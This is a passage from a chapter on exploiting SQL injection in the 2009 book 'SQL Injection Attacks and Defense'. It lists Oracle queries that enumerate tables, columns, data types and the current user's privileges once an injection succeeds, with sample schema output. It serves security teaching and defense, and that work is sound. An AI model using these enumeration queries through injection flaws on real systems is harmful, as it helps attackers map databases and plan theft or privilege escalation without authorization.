SQL Injection Attacks and Defense - 2009

Exploiting SQL Injection • Chapter 4 181
And you can enumerate the same information for all accessible/available tables, including
their users, table names, and the number of rows in these tables as follows:
select b.owner||'.'||a.table_name||'['||count(*)||']='||num_rows from
all_tab_columns a, all_tables b where a.table_name=b.table_name group by
b.owner,a.table_name,num_rows
Finally, you can enumerate the columns and data types in each table as follows, allowing
you to get a more complete picture of the database schema:
select table_name||':'||column_name||':'||data_type||':'||column_id from
user_tab_columns order by table_name,column_id
DEPT:DEPTNO:NUMBER:1
DEPT:DNAME:VARCHAR2:2
DEPT:LOC:VARCHAR2:3
DUMMY:DUMMY:NUMBER:1
EMP:EMPNO:NUMBER:1
EMP:ENAME:VARCHAR2:2
EMP:JOB:VARCHAR2:3
EMP:MGR:NUMBER:4
EMP:HIREDATE:DATE:5
EMP:SAL:NUMBER:6
EMP:COMM:NUMBER:7
EMP:DEPTNO:NUMBER:8
SALGRADE:GRADE:NUMBER:1
SALGRADE:LOSAL:NUMBER:2
SALGRADE:HISAL:NUMBER:3
Another thing you may be interested in is obtaining the privileges of the current
database user, which you can do as an unprivileged user. The following queries return the
privileges of the current user. In Oracle, there are four different kinds of privileges
(SYSTEM, ROLE, TABLE, and COLUMN).
To get system privileges for the current user:
select * from user_sys_privs; --show system privileges of the current user
To get role privileges for the current user:
select * from user_role_privs; --show role privileges of the current user
To get table privileges for the current user:
select * from user_tab_privs;
To get column privileges for the current user:
select * from user_col_privs;